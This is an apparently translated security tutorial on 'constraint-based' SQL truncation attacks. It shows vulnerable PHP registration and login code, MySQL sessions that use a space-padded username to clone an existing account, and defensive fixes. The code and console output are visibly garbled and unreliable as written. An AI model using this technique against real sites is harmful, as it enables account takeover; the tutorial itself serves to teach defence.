Constraint-based SQL attacks

Objective

Fortunately, developers are now starting to focus on security issues when they build their web sites. The vast majority of developers are aware of the existence of SQL injection vulnerabilities, and in this article I would like to explore with the reader another SQL database-related vulnerability that is as harmful as SQL injection, but less common. Next, I'll give the reader a detailed demonstration of this attack technique and the corresponding defensive strategy.

Note: This article does not tell you about SQL injection attacks

Background introduction

Recently, I came across an interesting code snippet where developers tried various methods to ensure secure access to the database. When a new user tries to register, the following code is run:

<?PHP//Checking whether a user with the same username exists$username=mysql_real_escape_string($_get[' username ']);$password=mysql_real_escape_string($_get[' Password ']);$query= "SELECT * from users WHERE username= '$username‘";$res=mysql_query($query,$database);if($res) {  if(mysql_num_rows($res) > 0) {    //User exists, exit gracefully. .  }  Else {    //If not, and then insert a new entry    $query= "INSERT into users (username, password) VALUES ('$username‘,‘$password‘)"; . .  }}

Use the following code to verify the logon information:

<?PHP$username=mysql_real_escape_string($_get[' username ']);$password=mysql_real_escape_string($_get[' Password ']);$query= "SELECT username from users WHERE username= '$username' and password= '$password‘ ";$res=mysql_query($query,$database);if($res) {  if(mysql_num_rows($res) > 0){      $row=Mysql_fetch_assoc($res); return $row[' username ']; }}return Null;

Security Considerations:

• Did you filter the user input parameters? -Complete inspection

• Do you use single quotation marks (') to increase security? -Complete inspection

It's supposed to be a mistake, right?

However, the attacker is still able to log in as any user!

Attack tactics

Before we talk about this type of attack, we need to know a few key points of knowledge first.

1. When string processing is performed in SQL, the whitespace at the end of the string is deleted. In other words, "vampire" is equivalent to "vampire", which is true for most cases (such as a string in a WHERE clause or a string in an INSERT statement), such as a query result of the following statement, as the result of querying with the user name "vampire".

   SELECT * FROM users WHERE username=‘vampire ‘;

   But there are exceptions, and the best example is the LIKE clause. Note that this pruning of trailing whitespace is mainly done during string comparison. This is because SQL uses spaces internally to populate strings to keep their lengths consistent before comparison.

2. In all insert queries, SQL restricts the maximum length of a string based on varchar (n). That is, if the length of the string is greater than "n" characters, then only the first "n" Characters of the string are used. For example, the length constraint for a particular column is "5" characters, so when inserting the string "vampire", you can actually insert only the first 5 characters of the string, or "Vampi".

Now, let's set up a test database to demonstrate the specific attack process.

Vampire@linux:~--pmysql>CREATEDATABASE     1 Row affected (0.03 sec) mysql > use   testing; Database changed

Next, you create a data table, which contains the username and password columns, and the maximum length of the field is limited to 25 characters. I will then insert "vampire" into the username field and insert "My_password" into the password field.

Mysql> CREATE TABLEUsers ( -Usernamevarchar( -),     -Passwordvarchar( -)     - ); Query OK,0Rows Affected (0.09sec) MySQL> INSERT  intoUsers - VALUES('Vampire','My_password'); Query OK,1Row affected (0.11sec) MySQL> SELECT *  fromusers;+----------+-------------+|Username|Password|+----------+-------------+|Vampire|My_password|+----------+-------------+1Rowinch Set(0.00Sec

To show the trimming of trailing whitespace characters, we can type the following command:

Mysql> SELECT *  fromUsers - WHEREUsername='Vampire';+----------+-------------+|Username|Password|+----------+-------------+|Vampire|My_password|+----------+-------------+1Rowinch Set(0.00Sec

Now let's assume that a vulnerable web site uses the previously mentioned PHP code to handle the user's registration and login process. To hack into any user's account (in this case, "vampire"), you only need to register with the user name "vampire[many whitespace]1" and a random password. For the selected user name, the first 25 characters should contain only vampire and whitespace characters, which will help bypass queries that check whether a particular user name already exists.

MySQL>SELECT* from users    ,WHERE Username='vampire                   1'set (0.00 sec)

It is important to note that when you execute a SELECT query statement, SQL does not shorten the string to 25 characters. Therefore, the full string is used to search, so no matching results will be found. Next, when you execute an INSERT query statement, it inserts only the first 25 characters.

Mysql>   INSERT  intoUsers (username, password) - VALUES('Vampire 1','Random_pass'); Query OK,1Row affected,1Warning (0.05sec) MySQL> SELECT *  fromUsers - WHEREUsername='Vampire';+---------------------------+-------------+|Username|Password|+---------------------------+-------------+|Vampire|My_password||Vampire|Random_pass|+---------------------------+-------------+2Rowsinch Set(0.00Sec

Well, now that we have retrieved "vampire", we will return two independent users. Note that the second user name is actually "vampire" plus the trailing 18 spaces. Now, if you log in with the username "vampire" and the password "Random_pass", all select queries that search for that user name will return the first data record, which is the original data record. In this case, the attacker is able to log in as the original user. This attack has been successfully tested on MySQL and SQLite. I believe that it still applies in other circumstances.

Defensive means

There is no doubt that such security breaches need to be noted in the development of software. There are a few steps we can take to protect against this:

1. Add unique constraints to those columns that require or are expected to be unique. In fact, this is an important rule that involves software development, and even if your code has the functionality to maintain its integrity, you should define the data appropriately. Because the ' username ' column has a unique constraint, you cannot insert another record. Two identical strings will be detected, and the insert query will fail.

2. It is best to use ' ID ' as the primary key for the database table. And the data should be tracked by the ID in the program

3. For added security, you can also manually adjust the limit length of input parameters (according to database settings)

Constraint-based SQL attacks